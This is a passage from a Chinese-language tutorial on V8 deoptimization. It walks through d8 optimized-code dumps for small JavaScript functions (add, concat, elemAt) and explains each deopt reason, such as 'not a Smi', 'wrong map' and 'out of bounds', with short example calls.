inlining id '-1'\n                                                             ;; debug: deopt reason 'not a Smi'\n                                                             ;; debug: deopt index 1\n                                                             ;; deoptimization bailout 1\n0x19b11ce84291   113  e87efdc7ff     call 0x19b11cb04014     ;; debug: deopt position, script offset '32'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'overflow'\n                                                             ;; debug: deopt index 2\n                                                             ;; deoptimization bailout 2\n0x19b11ce84296   118  90             nop\n0x19b11ce84297   119  90             nop\n0x19b11ce84298   120  90             nop\n0x19b11ce84299   121  90             nop\n0x19b11ce8429a   122  90             nop\n0x19b11ce8429b   123  90             nop\n0x19b11ce8429c   124  90             nop\n0x19b11ce8429d   125  90             nop\n0x19b11ce8429e   126  90             nop\n0x19b11ce8429f   127  90             nop\n0x19b11ce842a0   128  90             nop\n0x19b11ce842a1   129  90             nop\n0x19b11ce842a2   130  90             nop\n0x19b11ce842a3   131  90             nop\n                  ;;; Safepoint table.\n\nSource positions:\n pc offset  position\n         0        12\n        19        32\n        66        37\n        80        12\n\nInlined functions (count = 0)\n\nDeoptimization Input Data (deopt points = 4)\n index  ast id    argc     pc\n     0       0       0     -1\n     1       0       0     -1\n     2       0       0     -1\n     3       0       0    101\n\nSafepoints (size = 19)\n0x19b11ce84285   101  0000 (sp -> fp)       3\n\nRelocInfo (size = 169)\n0x19b11ce84220  comment  (-- <add.js:1:13> --)\n0x19b11ce84220  comment  (-- B0 start (construct frame) --)\n0x19b11ce84233  comment  (-- B2 start --)\n0x19b11ce84233  comment  (-- B3 start (deconstruct frame) --)\n0x19b11ce84233  comment  (-- <add.js:2:12> --)\n0x19b11ce84262  comment  (-- <add.js:3:1> --)\n0x19b11ce84270  comment  (-- B4 start (no frame) --)\n0x19b11ce84270  comment  (-- B1 start (deferred) --)\n0x19b11ce84270  comment  (-- <add.js:1:13> --)\n0x19b11ce84272  external reference (Runtime::StackGuard)  (0x1026bd600)\n0x19b11ce84281  code target (STUB)  (0x19b11cc841a0)\n0x19b11ce84287  deopt script offset  (32)\n0x19b11ce84287  deopt inlining id  (-1)\n0x19b11ce84287  deopt reason  (not a Smi)\n0x19b11ce84287  deopt index\n0x19b11ce84288  runtime entry  (deoptimization bailout 0)\n0x19b11ce8428c  deopt script offset  (32)\n0x19b11ce8428c  deopt inlining id  (-1)\n0x19b11ce8428c  deopt reason  (not a Smi)\n0x19b11ce8428c  deopt index\n0x19b11ce8428d  runtime entry  (deoptimization bailout 1)\n0x19b11ce84291  deopt script offset  (32)\n0x19b11ce84291  deopt inlining id  (-1)\n0x19b11ce84291  deopt reason  (overflow)\n0x19b11ce84291  deopt index\n0x19b11ce84292  runtime entry  (deoptimization bailout 2)\n0x19b11ce842a4  comment  (;;; Safepoint table.)\n\n--- End code ---\n```\n\n如你所见，这里有至少 3 种不同情况，我们的函数（add）出现反优化（deopt）。\n\n如果将 lazy deopt 考虑在内，会发现更多，但我们还是关注 eager deopt。\n\n顺便讲一句，此时这里有三种类型的反优化：eager、lazy、soft。\n\n可能看起来有些难懂可怕，别担心，你很快就会明白的！\n\n从第一个反优化开始：\n\n```\n// ;; debug: deopt index 0\n```\n\n原因是：“not a Smi”。如果已经听说过 Smi，你就可以直接跳过这一段了。\n\nSmi 本质上就是小整数的缩写（small integer）。它与 V8 中其它对象有很多不同。在 V8 的源码中位于 objects.h: https://chromium.googlesource.com/v8/v8.git/+/master/src/objects.h\n\n你会发现，Smi不是堆对象。\n\n堆对象，指所有分配于堆上的变量的超类。我们（前端开发者）能够存取的变量本质上是 JSReceiver 的子类。\n\n比如，我们经常用的数组（JSArray）和函数（JSFunction）就继承自这个类（JSReceiver）。\n\n查找 Javascript schemes 标签的相关信息，你会发现 Smi 不同于它们。\n\n在 64 位机器上，Smi 是 32 位有符号整数；而在 32 位机器上，它是 31 位有符号整数。\n\n如果传给它这个这个范围之外的值，这个函数就会发生反优化。\n\n比如：\n\n```\nadd(2 ** 31, 0)\n```\n\n因为 2\\*\\*31 大于 2\\*\\*31 - 1，所以会发生反优化。\n\n当然，如果传给它数字之外的值，比如字符串、数组或其它类型的值，也会发生反优化。例如：\n\n```\nadd([], 0);\n\nadd({ foo: 'bar' }, 2);\n```\n\n接下来看第二个反优化的情况。\n\n```\n;; debug: deopt index 1\n```\n\n与上面的情况类似，唯一的区别是它检查的是第二个参数 `b`。\n```\nadd(0, 2 ** 31) // would cause a deopt as well.\n```\n\n好，来看最后一个情况：\n\n```\n;; debug: deopt index 2\n```\n\n'Overlow'\n\n你已经明白 Smi 是什么了，这儿就很容易理解了。\n\n根本原因是，参数检查通过了，但函数的返回值却不是 Smi。例子：\n\n```\nadd(1, 2 ** 31 - 1); // returned value higher than 2 ** 31 - 1\n```\n\n### 例子2\n\n我们继续来声明一个看起来相同的函数。\n\n```\nfunction concat(a, b) {\n  return a + b;\n}\n\nconcat('netguru', ' .com');\nconcat('p0lip loves ', 'v8');\n%OptimizeFunctionOnNextCall(concat);\nconcat('optimized now! ', 'wooohooo');\n```\n\n看起来一样的函数，结果却不相同。为什么呢？同样的函数检查却不相同？\n\n不！这些检查是类型相关的，也就是说 -- 引擎并不会提前做出假设，它仅在函数执行过程中做出调整和优化。因此，即使这两个函数看起来一样，但是路径（path）却不相同。\n\n这个例子中，我们的函数是由 Crankshaft 优化。\n\n```\n--- Raw source ---\n(a, b) {\n  return a + b;\n}\n\n\n--- Optimized code ---\noptimization_id = 0\nsource_position = 15\nkind = OPTIMIZED_FUNCTION\nname = concat\nstack_slots = 5\ncompiler = crankshaft\nInstructions (size = 194)\n0x3ba8de705000     0  55             push rbp\n0x3ba8de705001     1  4889e5         REX.W movq rbp,rsp\n0x3ba8de705004     4  56             push rsi\n0x3ba8de705005     5  57             push rdi\n0x3ba8de705006     6  4883ec08       REX.W subq rsp,0x8\n0x3ba8de70500a    10  50             push rax\n0x3ba8de70500b    11  b801000000     movl rax,0x1\n0x3ba8de705010    16  49baefdeefbeaddeefbe REX.W movq r10,0xbeefdeadbeefdeef\n0x3ba8de70501a    26  4c8914c4       REX.W movq [rsp+rax*8],r10\n0x3ba8de70501e    30  ffc8           decl rax\n0x3ba8de705020    32  75f8           jnz 26  (0x3ba8de70501a)\n0x3ba8de705022    34  58             pop rax\n                  ;;; <@0,#0> -------------------- B0 --------------------\n                  ;;; <@8,#5> prologue\n                  ;;; Prologue begin\n                  ;;; Prologue end\n                  ;;; <@12,#7> -------------------- B1 --------------------\n                  ;;; <@14,#8> context\n0x3ba8de705023    35  488b45f8       REX.W movq rax,[rbp-0x8]\n                  ;;; <@15,#8> gap\n0x3ba8de705027    39  488945e8       REX.W movq [rbp-0x18],rax\n                  ;;; <@18,#12> -------------------- B2 --------------------\n                  ;;; <@19,#12> gap\n0x3ba8de70502b    43  488bf0         REX.W movq rsi,rax\n                  ;;; <@20,#14> stack-check\n0x3ba8de70502e    46  493ba5700c0000 REX.W cmpq rsp,[r13+0xc70]\n0x3ba8de705035    53  7305           jnc 60  (0x3ba8de70503c)\n0x3ba8de705037    55  e86426efff     call StackCheck  (0x3ba8de5f76a0)    ;; code: BUILTIN\n                  ;;; <@22,#14> lazy-bailout\n                  ;;; <@23,#14> gap\n0x3ba8de70503c    60  488b5d18       REX.W movq rbx,[rbp+0x18]\n                  ;;; <@24,#16> check-non-smi\n0x3ba8de705040    64  f6c301         testb rbx,0x1\n0x3ba8de705043    67  0f8447000000   jz 144  (0x3ba8de705090)\n                  ;;; <@26,#17> check-instance-type\n0x3ba8de705049    73  4c8b53ff       REX.W movq r10,[rbx-0x1]\n0x3ba8de70504d    77  41f6420b80     testb [r10+0xb],0x80\n0x3ba8de705052    82  0f853d000000   jnz 149  (0x3ba8de705095)\n                  ;;; <@27,#17> gap\n0x3ba8de705058    88  488b4d10       REX.W movq rcx,[rbp+0x10]\n                  ;;; <@28,#18> check-non-smi\n0x3ba8de70505c    92  f6c101         testb rcx,0x1\n0x3ba8de70505f    95  0f8435000000   jz 154  (0x3ba8de70509a)\n                  ;;; <@30,#19> check-instance-type\n0x3ba8de705065   101  4c8b51ff       REX.W movq r10,[rcx-0x1]\n0x3ba8de705069   105  41f6420b80     testb [r10+0xb],0x80\n0x3ba8de70506e   110  0f852b000000   jnz 159  (0x3ba8de70509f)\n                  ;;; <@31,#19> gap\n0x3ba8de705074   116  488b75e8       REX.W movq rsi,[rbp-0x18]\n0x3ba8de705078   120  488bd3         REX.W movq rdx,rbx\n0x3ba8de70507b   123  488bc1         REX.W movq rax,rcx\n                  ;;; <@32,#20> string-add\n0x3ba8de70507e   126  e8fd63e2ff     call 0x3ba8de52b480     ;; code: STUB, StringAddStub, minor: 0\n                  ;;; <@34,#20> lazy-bailout\n                  ;;; <@36,#22> return\n0x3ba8de705083   131  488be5         REX.W movq rsp,rbp\n0x3ba8de705086   134  5d             pop rbp\n0x3ba8de705087   135  c21800         ret 0x18\n0x3ba8de70508a   138  660f1f440000   nop\n                  ;;; -------------------- Jump table --------------------\n0x3ba8de705090   144  e875efc7ff     call 0x3ba8de38400a     ;; debug: deopt position, script offset '35'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'Smi'\n                                                             ;; debug: deopt index 1\n                                                             ;; deoptimization bailout 1\n0x3ba8de705095   149  e87aefc7ff     call 0x3ba8de384014     ;; debug: deopt position, script offset '35'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'wrong instance type'\n                                                             ;; debug: deopt index 2\n                                                             ;; deoptimization bailout 2\n0x3ba8de70509a   154  e87fefc7ff     call 0x3ba8de38401e     ;; debug: deopt position, script offset '35'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'Smi'\n                                                             ;; debug: deopt index 3\n                                                             ;; deoptimization bailout 3\n0x3ba8de70509f   159  e884efc7ff     call 0x3ba8de384028     ;; debug: deopt position, script offset '35'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'wrong instance type'\n                                                             ;; debug: deopt index 4\n                                                             ;; deoptimization bailout 4\n                  ;;; Safepoint table.\n\nSource positions:\n pc offset  position\n        64        35\n        73        35\n        73        35\n        88        35\n        92        35\n       101        35\n       101        35\n       116        35\n       126        35\n       131        35\n       131        35\n       131        35\n       131        35\n       138        35\n\nInlined functions (count = 0)\n\nDeoptimization Input Data (deopt points = 6)\n index  ast id    argc     pc\n     0       4       0     60\n     1       4       0     -1\n     2       4       0     -1\n     3       4       0     -1\n     4       4       0     -1\n     5       4       0    131\n\nSafepoints (size = 30)\n0x3ba8de70503c    60  10000 (sp -> fp)       0\n0x3ba8de705083   131  10000 (sp -> fp)       5\n\nRelocInfo (size = 320)\n0x3ba8de705023  comment  (;;; <@0,#0> -------------------- B0 --------------------)\n0x3ba8de705023  comment  (;;; <@8,#5> prologue)\n0x3ba8de705023  comment  (;;; Prologue begin)\n0x3ba8de705023  comment  (;;; Prologue end)\n0x3ba8de705023  comment  (;;; <@12,#7> -------------------- B1 --------------------)\n0x3ba8de705023  comment  (;;; <@14,#8> context)\n0x3ba8de705027  comment  (;;; <@15,#8> gap)\n0x3ba8de70502b  comment  (;;; <@18,#12> -------------------- B2 --------------------)\n0x3ba8de70502b  comment  (;;; <@19,#12> gap)\n0x3ba8de70502e  comment  (;;; <@20,#14> stack-check)\n0x3ba8de705038  code target (BUILTIN)  (0x3ba8de5f76a0)\n0x3ba8de70503c  comment  (;;; <@22,#14> lazy-bailout)\n0x3ba8de70503c  comment  (;;; <@23,#14> gap)\n0x3ba8de705040  comment  (;;; <@24,#16> check-non-smi)\n0x3ba8de705049  comment  (;;; <@26,#17> check-instance-type)\n0x3ba8de705058  comment  (;;; <@27,#17> gap)\n0x3ba8de70505c  comment  (;;; <@28,#18> check-non-smi)\n0x3ba8de705065  comment  (;;; <@30,#19> check-instance-type)\n0x3ba8de705074  comment  (;;; <@31,#19> gap)\n0x3ba8de70507e  comment  (;;; <@32,#20> string-add)\n0x3ba8de70507f  code target (STUB)  (0x3ba8de52b480)\n0x3ba8de705083  comment  (;;; <@34,#20> lazy-bailout)\n0x3ba8de705083  comment  (;;; <@36,#22> return)\n0x3ba8de705090  comment  (;;; -------------------- Jump table --------------------)\n0x3ba8de705090  deopt script offset  (35)\n0x3ba8de705090  deopt inlining id  (-1)\n0x3ba8de705090  deopt reason  (Smi)\n0x3ba8de705090  deopt index\n0x3ba8de705091  runtime entry  (deoptimization bailout 1)\n0x3ba8de705095  deopt script offset  (35)\n0x3ba8de705095  deopt inlining id  (-1)\n0x3ba8de705095  deopt reason  (wrong instance type)\n0x3ba8de705095  deopt index\n0x3ba8de705096  runtime entry  (deoptimization bailout 2)\n0x3ba8de70509a  deopt script offset  (35)\n0x3ba8de70509a  deopt inlining id  (-1)\n0x3ba8de70509a  deopt reason  (Smi)\n0x3ba8de70509a  deopt index\n0x3ba8de70509b  runtime entry  (deoptimization bailout 3)\n0x3ba8de70509f  deopt script offset  (35)\n0x3ba8de70509f  deopt inlining id  (-1)\n0x3ba8de70509f  deopt reason  (wrong instance type)\n0x3ba8de70509f  deopt index\n0x3ba8de7050a0  runtime entry  (deoptimization bailout 4)\n0x3ba8de7050a4  comment  (;;; Safepoint table.)\n\n--- End code ---\n```\n\n```\n;; debug: deopt index 1\n```\n\n一旦你不传给它 Smi，而是传递一个堆对象时，就会发生反优化。事实上，它与 “Not a Smi” 相反，所以我不会详细解释它。它仅仅检查了参数“a”？\n```\n;; debug: deopt index 2\n```\n\n'wrong instance type' – 有趣！目前为止，我们还没见过它！\n\n很容易猜到，这次检查失败是因为你没有传递 string，或者没有传值。\n```\nconcat([], 'd');\n\nconcat(new String('d'), 'xx');\n```\n\n最后 2 个原因和上面相同，但是检查第 2 个参数 “b”。\n\n### 例子 3\n\n我们来看一个稍微不同的例子。\n\n```\nfunction elemAt(arr, index) {\n  return arr[index];\n}\n\nelemAt([2, 3, 4], 0);\nelemAt([9, 4, 1], 2);\n%OptimizeFunctionOnNextCall(elemAt);\nelemAt([2], 0);\n```\n\n```\nd8 --trace-deopt --code-comments --print-opt-code --allow-natives-syntax --turbo elem-at.js\n```\n\n```\n--- Raw source ---\n(arr, index) {\n  return arr[index];\n}\n\n\n--- Optimized code ---\noptimization_id = 0\nsource_position = 15\nkind = OPTIMIZED_FUNCTION\nname = elemAt\nstack_slots = 6\ncompiler = turbofan\nInstructions (size = 327)\n                  -- <elemAt.js:1:16> --\n                  -- B0 start (construct frame) --\n0x1aa58ba04220     0  55             push rbp\n0x1aa58ba04221     1  4889e5         REX.W movq rbp,rsp\n0x1aa58ba04224     4  56             push rsi\n0x1aa58ba04225     5  57             push rdi\n0x1aa58ba04226     6  4883ec10       REX.W subq rsp,0x10\n0x1aa58ba0422a    10  493ba5700c0000 REX.W cmpq rsp,[r13+0xc70]\n0x1aa58ba04231    17  0f8675000000   jna 140  (0x1aa58ba042ac)\n                  -- B2 start --\n                  -- B3 start --\n                  -- <elemAt.js:2:14> --\n0x1aa58ba04237    23  488b4518       REX.W movq rax,[rbp+0x18]\n0x1aa58ba0423b    27  a801           test al,0x1\n0x1aa58ba0423d    29  0f84e3000000   jz 262  (0x1aa58ba04326)\n0x1aa58ba04243    35  48bb793c503e5d080000 REX.W movq rbx,0x85d3e503c79    ;; object: 0x85d3e503c79 <Map(FAST_SMI_ELEMENTS)>\n0x1aa58ba0424d    45  483958ff       REX.W cmpq [rax-0x1],rbx\n0x1aa58ba04251    49  0f85d4000000   jnz 267  (0x1aa58ba0432b)\n0x1aa58ba04257    55  488b580f       REX.W movq rbx,[rax+0xf]\n0x1aa58ba0425b    59  488b5017       REX.W movq rdx,[rax+0x17]\n0x1aa58ba0425f    63  488b4d10       REX.W movq rcx,[rbp+0x10]\n0x1aa58ba04263    67  f6c101         testb rcx,0x1\n0x1aa58ba04266    70  0f855a000000   jnz 166  (0x1aa58ba042c6)\n                  -- B8 start --\n0x1aa58ba0426c    76  488bf1         REX.W movq rsi,rcx\n0x1aa58ba0426f    79  48c1ee20       REX.W shrq rsi, 32\n                  -- B9 start (deconstruct frame) --\n0x1aa58ba04273    83  48c1ea20       REX.W shrq rdx, 32\n0x1aa58ba04277    87  8bfe           movl rdi,rsi\n0x1aa58ba04279    89  49ba0000000001000000 REX.W movq r10,0x100000000\n0x1aa58ba04283    99  4c3bd7         REX.W cmpq r10,rdi\n0x1aa58ba04286   102  7310           jnc 120  (0x1aa58ba04298)\n                  Abort message: \n                  32 bit value in register is not zero-extended\n0x1aa58ba04288   104  48ba0000000001000000 REX.W movq rdx,0x100000000\n0x1aa58ba04292   114  e889fedfff     call Abort  (0x1aa58b804120)    ;; code: BUILTIN\n0x1aa58ba04297   119  cc             int3l\n0x1aa58ba04298   120  3bf2           cmpl rsi,rdx\n0x1aa58ba0429a   122  0f8390000000   jnc 272  (0x1aa58ba04330)\n0x1aa58ba042a0   128  488b44fb0f     REX.W movq rax,[rbx+rdi*8+0xf]\n                  -- <elemAt.js:3:1> --\n0x1aa58ba042a5   133  488be5         REX.W movq rsp,rbp\n0x1aa58ba042a8   136  5d             pop rbp\n0x1aa58ba042a9   137  c21800         ret 0x18\n                  -- B10 start (no frame) --\n                  -- B1 start (deferred) --\n                  -- <elemAt.js:1:16> --\n0x1aa58ba042ac   140  48bb00f6900701000000 REX.W movq rbx,0x10790f600    ;; external reference (Runtime::StackGuard)\n0x1aa58ba042b6   150  33c0           xorl rax,rax\n0x1aa58ba042b8   152  488b75f8       REX.W movq rsi,[rbp-0x8]\n0x1aa58ba042bc   156  e8dffedfff     call 0x1aa58b8041a0     ;; code: STUB, CEntryStub, minor: 8\n0x1aa58ba042c1   161  e971ffffff     jmp 23  (0x1aa58ba04237)\n                  -- B4 start (deferred) --\n                  -- <elemAt.js:2:14> --\n0x1aa58ba042c6   166  488b41ff       REX.W movq rax,[rcx-0x1]\n0x1aa58ba042ca   170  49394550       REX.W cmpq [r13+0x50],rax\n0x1aa58ba042ce   174  0f8561000000   jnz 277  (0x1aa58ba04335)\n0x1aa58ba042d4   180  c5fb104107     vmovsd xmm0,[rcx+0x7]\n0x1aa58ba042d9   185  c5fb2cf0       vcvttsd2si rsi,xmm0\n0x1aa58ba042dd   189  c5f157c9       vxorpd xmm1,xmm1,xmm1\n0x1aa58ba042e1   193  c5f32ace       vcvtlsi2sd xmm1,xmm1,rsi\n0x1aa58ba042e5   197  c5f92ec8       vucomisd xmm1,xmm0\n0x1aa58ba042e9   201  0f8a4b000000   jpe 282  (0x1aa58ba0433a)\n0x1aa58ba042ef   207  0f8545000000   jnz 282  (0x1aa58ba0433a)\n0x1aa58ba042f5   213  48895de8       REX.W movq [rbp-0x18],rbx\n0x1aa58ba042f9   217  488955e0       REX.W movq [rbp-0x20],rdx\n0x1aa58ba042fd   221  83fe00         cmpl rsi,0x0\n0x1aa58ba04300   224  0f850f000000   jnz 245  (0x1aa58ba04315)\n                  -- B5 start (deferred) --\n                  -- B6 start (deferred) --\n0x1aa58ba04306   230  660f3a16c001   pextrd rax,xmm0,1\n0x1aa58ba0430c   236  83f800         cmpl rax,0x0\n0x1aa58ba0430f   239  0f8c2a000000   jl 287  (0x1aa58ba0433f)\n                  -- B7 start (deferred) --\n0x1aa58ba04315   245  488b5de8       REX.W movq rbx,[rbp-0x18]\n0x1aa58ba04319   249  488b4518       REX.W movq rax,[rbp+0x18]\n0x1aa58ba0431d   253  488b55e0       REX.W movq rdx,[rbp-0x20]\n0x1aa58ba04321   257  e94dffffff     jmp 83  (0x1aa58ba04273)\n0x1aa58ba04326   262  e8d5fcc7ff     call 0x1aa58b684000     ;; debug: deopt position, script offset '43'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'Smi'\n                                                             ;; debug: deopt index 0\n                                                             ;; deoptimization bailout 0\n0x1aa58ba0432b   267  e8dafcc7ff     call 0x1aa58b68400a     ;; debug: deopt position, script offset '43'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'wrong map'\n                                                             ;; debug: deopt index 1\n                                                             ;; deoptimization bailout 1\n0x1aa58ba04330   272  e8dffcc7ff     call 0x1aa58b684014     ;; debug: deopt position, script offset '43'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'out of bounds'\n                                                             ;; debug: deopt index 2\n                                                             ;; deoptimization bailout 2\n0x1aa58ba04335   277  e8eefcc7ff     call 0x1aa58b684028     ;; debug: deopt position, script offset '43'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'not a heap number'\n                                                             ;; debug: deopt index 4\n                                                             ;; deoptimization bailout 4\n0x1aa58ba0433a   282  e8f3fcc7ff     call 0x1aa58b684032     ;; debug: deopt position, script offset '43'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'lost precision or NaN'\n                                                             ;; debug: deopt index 5\n                                                             ;; deoptimization bailout 5\n0x1aa58ba0433f   287  e8f8fcc7ff     call 0x1aa58b68403c     ;; debug: deopt position, script offset '43'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'minus zero'\n                                                             ;; debug: deopt index 6\n                                                             ;; deoptimization bailout 6\n0x1aa58ba04344   292  90             nop\n0x1aa58ba04345   293  90             nop\n0x1aa58ba04346   294  90             nop\n0x1aa58ba04347   295  90             nop\n0x1aa58ba04348   296  90             nop\n0x1aa58ba04349   297  90             nop\n0x1aa58ba0434a   298  90             nop\n0x1aa58ba0434b   299  90             nop\n0x1aa58ba0434c   300  90             nop\n0x1aa58ba0434d   301  90             nop\n0x1aa58ba0434e   302  90             nop\n0x1aa58ba0434f   303  90             nop\n0x1aa58ba04350   304  90             nop\n0x1aa58ba04351   305  0f1f00         nop\n                  ;;; Safepoint table.\n\nSource positions:\n pc offset  position\n         0        15\n        23        43\n       133        51\n       140        15\n       166        43\n\nInlined functions (count = 0)\n\nDeoptimization Input Data (deopt points = 7)\n index  ast id    argc     pc\n     0       0       0     -1\n     1       0       0     -1\n     2       0       0     -1\n     3       0       0    161\n     4       0       0     -1\n     5       0       0     -1\n     6       0       0     -1\n\nSafepoints (size = 19)\n0x1aa58ba042c1   161  000000 (sp -> fp)       3\n\nRelocInfo (size = 329)\n0x1aa58ba04220  comment  (-- <elemAt.js:1:16> --)\n0x1aa58ba04220  comment  (-- B0 start (construct frame) --)\n0x1aa58ba04237  comment  (-- B2 start --)\n0x1aa58ba04237  comment  (-- B3 start --)\n0x1aa58ba04237  comment  (-- <elemAt.js:2:14> --)\n0x1aa58ba04245  embedded object  (0x85d3e503c79 <Map(FAST_SMI_ELEMENTS)>)\n0x1aa58ba0426c  comment  (-- B8 start --)\n0x1aa58ba04273  comment  (-- B9 start (deconstruct frame) --)\n0x1aa58ba04288  comment  (Abort message: )\n0x1aa58ba04288  comment  (32 bit value in register is not zero-extended)\n0x1aa58ba04293  code target (BUILTIN)  (0x1aa58b804120)\n0x1aa58ba042a5  comment  (-- <elemAt.js:3:1> --)\n0x1aa58ba042ac  comment  (-- B10 start (no frame) --)\n0x1aa58ba042ac  comment  (-- B1 start (deferred) --)\n0x1aa58ba042ac  comment  (-- <elemAt.js:1:16> --)\n0x1aa58ba042ae  external reference (Runtime::StackGuard)  (0x10790f600)\n0x1aa58ba042bd  code target (STUB)  (0x1aa58b8041a0)\n0x1aa58ba042c6  comment  (-- B4 start (deferred) --)\n0x1aa58ba042c6  comment  (-- <elemAt.js:2:14> --)\n0x1aa58ba04306  comment  (-- B5 start (deferred) --)\n0x1aa58ba04306  comment  (-- B6 start (deferred) --)\n0x1aa58ba04315  comment  (-- B7 start (deferred) --)\n0x1aa58ba04326  deopt script offset  (43)\n0x1aa58ba04326  deopt inlining id  (-1)\n0x1aa58ba04326  deopt reason  (Smi)\n0x1aa58ba04326  deopt index\n0x1aa58ba04327  runtime entry  (deoptimization bailout 0)\n0x1aa58ba0432b  deopt script offset  (43)\n0x1aa58ba0432b  deopt inlining id  (-1)\n0x1aa58ba0432b  deopt reason  (wrong map)\n0x1aa58ba0432b  deopt index\n0x1aa58ba0432c  runtime entry  (deoptimization bailout 1)\n0x1aa58ba04330  deopt script offset  (43)\n0x1aa58ba04330  deopt inlining id  (-1)\n0x1aa58ba04330  deopt reason  (out of bounds)\n0x1aa58ba04330  deopt index\n0x1aa58ba04331  runtime entry  (deoptimization bailout 2)\n0x1aa58ba04335  deopt script offset  (43)\n0x1aa58ba04335  deopt inlining id  (-1)\n0x1aa58ba04335  deopt reason  (not a heap number)\n0x1aa58ba04335  deopt index\n0x1aa58ba04336  runtime entry  (deoptimization bailout 4)\n0x1aa58ba0433a  deopt script offset  (43)\n0x1aa58ba0433a  deopt inlining id  (-1)\n0x1aa58ba0433a  deopt reason  (lost precision or NaN)\n0x1aa58ba0433a  deopt index\n0x1aa58ba0433b  runtime entry  (deoptimization bailout 5)\n0x1aa58ba0433f  deopt script offset  (43)\n0x1aa58ba0433f  deopt inlining id  (-1)\n0x1aa58ba0433f  deopt reason  (minus zero)\n0x1aa58ba0433f  deopt index\n0x1aa58ba04340  runtime entry  (deoptimization bailout 6)\n0x1aa58ba04354  comment  (;;; Safepoint table.)\n\n--- End code ---\n```\n\n在解释这个之前，我们要先确保已经了解 hidden map（也称 hidden class）。如上文中提到的，引擎会做很多假设来减少一些无用操作花费的时间。然而，我们也要了解元素 -- 每个元素都有类型。V8 实现了 [TypeFeedbackVector](https://github.com/v8/v8/blob/master/src/feedback-vector.h)。推荐你阅读[这篇文章](http://ripsawridge.github.io/articles/stack-changes/)了解更多详情。已知类型见 https://chromium.googlesource.com/v8/v8.git/+/master/src/elements-kind.h\n\n也有一些原生函数可以帮助我们检查元素是否匹配已有类型。它们的定义见上段链接，对应的原生名称见 https://chromium.googlesource.com/v8/v8.git/+/master/src/runtime/runtime.h#590 。\n\n现在再来看反优化。\n\n```\n;; debug: deopt reason 'Smi' \n\n;; debug: deopt index 0\n```\n\n显而易见。这是由于你给函数的第一个参数 “arr” 传递了 Smi。\n\n```\n;; debug: deopt reason 'wrong map'\n;; debug: deopt index 1\n```\n\n很不幸，这种情况经常发生。\n\n我们的 map（类型）是： `<Map(FAST_SMI_ELEMENTS)>`\n\n因此，一旦“arr”中的元素不同于 Smi 元素，map 就不再匹配。当我们向它传递的参数不是普通数组而是其它类型时，这种情况就会发生。比如：\n\n```\nelemAt([‘netguru’], 0);\n\nelemAt({ 0: ‘netguru’ }, 0);\n```\n\n如果你想检查数组是否由 Smi 元素组成，可以使用上面提到的原生函数 `%HasFastSmiElements`。\n\n```\nprint(%HasFastSmiElements([2, 4, 5])); // prints true\n\nprint(%HasFastSmiElements([2, 4, 'd'])); // prints false\n\nprint(%HasFastSmiElements([2.1])); // prints false\n\nprint(%HasFastSmiElements({})); // prints false\n```\n\n好，我们现在来检查第二个参数 `index`，你很快就发现，它的反优化依赖于第二个参数。\n\n```\n;; debug: deopt reason 'out of bounds'\n;; debug: deopt index 2\n```\n\n“Out of bounds“，从字面上看，当索引大于数组的长度，或者小于 0 时，就会导致反优化。\n也就是说，你在试图读取索引不属于数组的元素。\n\n举例：\n\n```\nelemAt([2,3,5], 4);\n```\n\n```\n;; debug: deopt reason 'not a heap number'\n;; debug: deopt index 4\n```\n\n'not a heap number' – 不是数字（注意不要与 Smi 混淆），举例：\n\n```\nelemAt([2,3,5], '2');\n\nelemAt([2,3,5], new Number(5));\n```\n\n```\n;; debug: deopt reason 'lost precision or NaN'\n;; debug: deopt index 5\n```\n\n如果你遇到这种检查，意味着你传递了一个数字，但不是正常值。\n丢失精度 -- 不是整数， 例子 1.1\n\n```\nelemAt([0, 1], 1.1);\n\nelemAt([0], NaN);\n```\n\n```\n;; debug: deopt reason 'minus zero'\n;; debug: deopt index 6\n```\n\n太容易了！\n\n```\nadd(0, -0); // weird, I know\n```\n\n也很容易理解！\n\n还有一个例子 -- 上面例子组合的情况。这儿就不详细解释了，还是留给你做练习吧 :)\n\n```\nlet secondIndex = 0;\n\nfunction elemAtComplex(arr, index) {\n  return arr[secondIndex + index];\n}\n\nelemAtComplex(['v8 ',' is',' awesome'], 0);\nsecondIndex++;\nelemAtComplex(['netguru ',' loves',' Node.js'], 1);\nsecondIndex++;\n%OptimizeFunctionOnNextCall(elemAtComplex);\nelemAtComplex(['wooo','dooo','dooboo'], 0);\n```\n\n给出结果，以免你没有安装 d8 :)\n\n```\n--- Raw source ---\n(arr, index) {\n  return arr[secondIndex + index];\n}\n\n\n--- Optimized code ---\noptimization_id = 0\nsource_position = 44\nkind = OPTIMIZED_FUNCTION\nname = elemAtComplex\nstack_slots = 4\ncompiler = turbofan\nInstructions (size = 314)\n0xc145e604220     0  55             push rbp\n0xc145e604221     1  4889e5         REX.W movq rbp,rsp\n0xc145e604224     4  56             push rsi\n0xc145e604225     5  57             push rdi\n0xc145e604226     6  493ba5700c0000 REX.W cmpq rsp,[r13+0xc70]\n0xc145e60422d    13  0f86c1000000   jna 212  (0xc145e6042f4)\n0xc145e604233    19  48b8c11323e96e3f0000 REX.W movq rax,0x3f6ee92313c1    ;; object: 0x3f6ee92313c1 <FixedArray[5]>\n0xc145e60423d    29  488b402f       REX.W movq rax,[rax+0x2f]\n0xc145e604241    33  493945a8       REX.W cmpq [r13-0x58],rax\n0xc145e604245    37  0f8523000000   jnz 78  (0xc145e60426e)\n0xc145e60424b    43  48b8690c23e96e3f0000 REX.W movq rax,0x3f6ee9230c69    ;; object: 0x3f6ee9230c69 <String[11]: secondIndex>\n0xc145e604255    53  50             push rax\n0xc145e604256    54  48bb50680d0501000000 REX.W movq rbx,0x1050d6850    ;; external reference (Runtime::ThrowReferenceError)\n0xc145e604260    64  b801000000     movl rax,0x1\n0xc145e604265    69  488b75f8     